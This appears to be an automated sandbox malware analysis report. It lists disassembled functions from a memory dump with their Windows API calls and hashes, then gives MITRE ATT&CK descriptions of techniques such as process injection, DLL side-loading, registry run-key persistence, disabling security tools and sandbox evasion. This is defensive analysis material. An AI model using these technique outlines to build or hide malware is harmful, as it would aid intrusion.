Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ClassCompareLongNameStringWindow
String ID: combobox
API String ID: 1414938635-2240613097
Opcode ID: 235c5d0e5a59cbc5b183690806be1f418b7fc8431d4b1b58ce4fde5a5f9b4b86
Instruction ID: 94591e00bb30c754d0bba5e948e377a3c3f064427d1b075d2b3e39b34a6770ca
Opcode Fuzzy Hash: 235c5d0e5a59cbc5b183690806be1f418b7fc8431d4b1b58ce4fde5a5f9b4b86
Instruction Fuzzy Hash: 25F0F431615119AFCB12DB68CD02EBF73A8FB1A720F104315F421FA1C0DA64AD018798

Function 00F1E201 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(00000000), ref: 00F1E20C
GetClientRect.USER32(00000000,00000000), ref: 00F1E22C
GetParent.USER32(00000000), ref: 00F1E24B
OffsetRect.USER32(00000000,00000000,00000000), ref: 00F1E2CD

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Rect$ClientEmptyOffsetParent
String ID:
API String ID: 3819956977-0
Opcode ID: fe3718d7d9e7d57b02ef307cf3be3e781cf0f6c4e49863ec8b4165c9a4c2be1e
Instruction ID: 2a25098f4adf95f0dbe48740cdeee0e74c704007ba69039f91ff6ea1f96d70ad
Opcode Fuzzy Hash: fe3718d7d9e7d57b02ef307cf3be3e781cf0f6c4e49863ec8b4165c9a4c2be1e
Instruction Fuzzy Hash: 6131C671600612EFD719DF65C895E66B7E9FF88720B04812DF8198F641EB30EC40CBA0

Function 00F5C14E Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00F5C1C2
EqualRect.USER32(?,?), ref: 00F5C1ED
BeginDeferWindowPos.USER32(00000000), ref: 00F5C1FA
EndDeferWindowPos.USER32(00000000), ref: 00F5C220

Part of subcall function 00EEF427: GetWindowRect.USER32(00000000,?), ref: 00EEF43B
Part of subcall function 00EEF427: GetParent.USER32(00000000), ref: 00EEF491
Part of subcall function 00EEF427: GetParent.USER32(00000000), ref: 00EEF4A5

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$Rect$DeferParent$BeginEqual
String ID:
API String ID: 2054780619-0
Opcode ID: e4c856d544ed20edf92a49aa132c4856ac165426a9bfc282bd49b6e721b71a6e
Instruction ID: 601bcfccce51ae9863c7ea526345c786b19601a1d24ed52c0aadf7fcb5324fcb
Opcode Fuzzy Hash: e4c856d544ed20edf92a49aa132c4856ac165426a9bfc282bd49b6e721b71a6e
Instruction Fuzzy Hash: 383118B1E00219EFCF11DFA5D9849EEBBF9BF08711F10012AE906A7201D775AA04DBE1

Function 00E94343 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00E9437F
GetClientRect.USER32(?,?), ref: 00E94392
GetParent.USER32(?), ref: 00E9439B
MapWindowPoints.USER32(?,?,?,00000002), ref: 00E943B3

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Parent$ClientPointsRectWindow
String ID:
API String ID: 1847894547-0
Opcode ID: dff3b12682876040d309f6edd187fc26b6306e4be4c9354caf88b532569bc32b
Instruction ID: 56d1d121ec653beaaef1f37d55efcb8de9ab7bf0b3b77d9e730467354df50d8c
Opcode Fuzzy Hash: dff3b12682876040d309f6edd187fc26b6306e4be4c9354caf88b532569bc32b
Instruction Fuzzy Hash: F0216271A00619EFCF16EFA4D8459AFBBB5FF0D300B00446DF946AB251DB75AA00DB91

Function 00E8E2AE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00E8E2B5
IsRectEmpty.USER32(?), ref: 00E8E2D7

Part of subcall function 00ED09AD: __EH_prolog3.LIBCMT ref: 00ED09B4
Part of subcall function 00ED09AD: CreateCompatibleDC.GDI32(00000000), ref: 00ED0A17
Part of subcall function 00ED09AD: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00ED0A4A
Part of subcall function 00ED09AD: SelectObject.GDI32(?,00000000), ref: 00ED0A9E

IsRectEmpty.USER32(?), ref: 00E8E31B
FillRect.USER32(?,?,-000000A0), ref: 00E8E33C

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Rect$CompatibleCreateEmptyH_prolog3$BitmapFillObjectSelect
String ID:
API String ID: 1042983850-0
Opcode ID: 2983c230edddfb3801bd8684465b07fc6e911b4058d09378db85a991da60aaa6
Instruction ID: 37a2a2c61e278956892f80c74b81e14818b9ae5d616465da6658e24e4e5f31f7
Opcode Fuzzy Hash: 2983c230edddfb3801bd8684465b07fc6e911b4058d09378db85a991da60aaa6
Instruction Fuzzy Hash: DD113A7240010AAFDF11FFA0CD46EEE37A8BF04314F1A5129B859B71A2DB39D904DB12

Function 00EA02C5 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00EA02CF
GetTopWindow.USER32(00000000), ref: 00EA02DC

Part of subcall function 00EA02C5: GetWindow.USER32(00000000,00000002), ref: 00EA032B

GetTopWindow.USER32(?), ref: 00EA0310

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 85defd1b8151f18c5342566b26fa7d721c1e861387af6d46c10f067bd2eb4a00
Instruction ID: 53408a9e08b967edf6067c150a0209cfd75b603e2921701457dddff92c0fc0e3
Opcode Fuzzy Hash: 85defd1b8151f18c5342566b26fa7d721c1e861387af6d46c10f067bd2eb4a00
Instruction Fuzzy Hash: A201EC31401629EBCF332F619C48BAE3B99BF1E795F005014FD54BD025D736E92496A5

Function 00EA01A3 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 00EA01C7
LoadResource.KERNEL32(?,00000000,?,?,?,?,00E96293,?,?,00E83252,8C3A2C7B), ref: 00EA01D3
LockResource.KERNEL32(00000000,?,?,?,?,00E96293,?,?,00E83252,8C3A2C7B), ref: 00EA01E0
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,?,00E96293,?,?,00E83252,8C3A2C7B), ref: 00EA01FC

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 35478023bcf5410239dcf8b072add31231a4da3596c1f9545cb029c06b0b0d8a
Instruction ID: 3021f38e2831e53b7c42805b2f795e316a088b4cf8d24f703c5380887a018f30
Opcode Fuzzy Hash: 35478023bcf5410239dcf8b072add31231a4da3596c1f9545cb029c06b0b0d8a
Instruction Fuzzy Hash: 2BF0A4366017107F83235B559C48D6EB76CEF89764B055025F905BF306CE35EE0087B0

Function 00F0E398 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,000000FF,000000FF), ref: 00F0E4CA

Strings

nI, xrefs: 00F0E483, 00F0E4D2
nI, xrefs: 00F0E3A2, 00F0E3DE

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: InflateRect
String ID: nI$nI
API String ID: 2073123975-2288121737
Opcode ID: 705b4cddce4073cc95b776438e22dcab5487cc6a8d54deeaacb77171e003023a
Instruction ID: 31be59845af079a2fba53e5433ef3e3aa58f394bd1724e05fdbb8789fba565e0
Opcode Fuzzy Hash: 705b4cddce4073cc95b776438e22dcab5487cc6a8d54deeaacb77171e003023a
Instruction Fuzzy Hash: 8E41C43DE002199BCF25CF54D9809AEB7A5FF48760F184569EC01972C4DB34DD40EB90

Function 00F0E04E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

FillRect.USER32(?,?,00000000), ref: 00F0E0BF
FillRect.USER32(?,?,00000000), ref: 00F0E11D

Strings

F, xrefs: 00F0E052

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: FillRect
String ID: F
API String ID: 2175405051-2701363647
Opcode ID: f919a395e5d5e9b38ddccfdf1e75d0b8110ab5963ac2c3f054b85f4aafe3553f
Instruction ID: bc56ff1ec5a49c57f9816ffc13e18490a2149f588b358f7af9867331f9936f05
Opcode Fuzzy Hash: f919a395e5d5e9b38ddccfdf1e75d0b8110ab5963ac2c3f054b85f4aafe3553f
Instruction Fuzzy Hash: FC21D636600114DFCB06DF54C944A99BBA9FF48310F094461FD09AB241C771EE01FBA1

Function 00E8C047 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00E8C04E
InflateRect.USER32(?,000000FE,000000FE), ref: 00E8C06F

Part of subcall function 00E99907: __EH_prolog3.LIBCMT ref: 00E9990E
Part of subcall function 00E99907: CreatePen.GDI32(?,?,?), ref: 00E9992F

Part of subcall function 00E9A9C4: SelectObject.GDI32(?,00000000), ref: 00E9A9E8
Part of subcall function 00E9A9C4: SelectObject.GDI32(?,00000000), ref: 00E9AA00

Part of subcall function 00E9A660: MoveToEx.GDI32(00000000,?,?,?), ref: 00E9A683
Part of subcall function 00E9A660: MoveToEx.GDI32(?,?,?,?), ref: 00E9A698

Part of subcall function 00E9A62B: MoveToEx.GDI32(?,?,?,00000000), ref: 00E9A646
Part of subcall function 00E9A62B: LineTo.GDI32(00000001,?,?), ref: 00E9A655

Strings

B, xrefs: 00E8C104

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Move$H_prolog3ObjectSelect$CreateInflateLineRect
String ID: B
API String ID: 2702496521-2833499926
Opcode ID: 31fd6cbef22aa4efe658c4a1ecef29c0f556067a5b3007222a2dfdb130c67c2c
Instruction ID: 20d91da56f6910c55b1e2eb948cb15131d7f87891848831b61adcd00663040b3
Opcode Fuzzy Hash: 31fd6cbef22aa4efe658c4a1ecef29c0f556067a5b3007222a2dfdb130c67c2c
Instruction Fuzzy Hash: BE211B75A0010EAFCF10EF64CC45EDE77FABF48314F055129B919B7292DA3899188BA1

Function 00F0C276 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F0C27D
InflateRect.USER32(?,00000001,00000001), ref: 00F0C2E3

Strings

B, xrefs: 00F0C31E

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: H_prolog3InflateRect
String ID: B
API String ID: 2848689861-2833499926
Opcode ID: a52bd2ecd4b324e87da4992aaa5c13ee4c59d8e43545e347ee1703f6d167c997
Instruction ID: 879077d84ab4e4a3c2f58ecf6855b556db5414434f44417396c16a18fe8984bb
Opcode Fuzzy Hash: a52bd2ecd4b324e87da4992aaa5c13ee4c59d8e43545e347ee1703f6d167c997
Instruction Fuzzy Hash: 0B118172A006159BDF11FB90C846FBE77A5AF84710F0A1514BA05BB2D2CB689C40E7D2

Function 00F5438B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37registrywindowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F54392
RegisterWindowMessageA.USER32(00000010,00000004,00F54100,00000000,00000000,0000005C,00EBE5A7,?,00000550), ref: 00F543DC

Strings

ToolbarButton%p, xrefs: 00F543CA

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: H_prolog3MessageRegisterWindow
String ID: ToolbarButton%p
API String ID: 875023513-899657487
Opcode ID: 2b2334a272c30c1d589a3c4b01b979abdb66b6dcf98dba5705c1e490adaaaddb
Instruction ID: 82c2bbd4be8c4d2b6b5296ef8d432d9ae8caff5658f2c648b4d8071dc8e6acf2
Opcode Fuzzy Hash: 2b2334a272c30c1d589a3c4b01b979abdb66b6dcf98dba5705c1e490adaaaddb
Instruction Fuzzy Hash: E2F0A9358002119ACF20FB74D806BAE73B4BF00315F005949F9A87B2A6DF3D5A15DB94

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
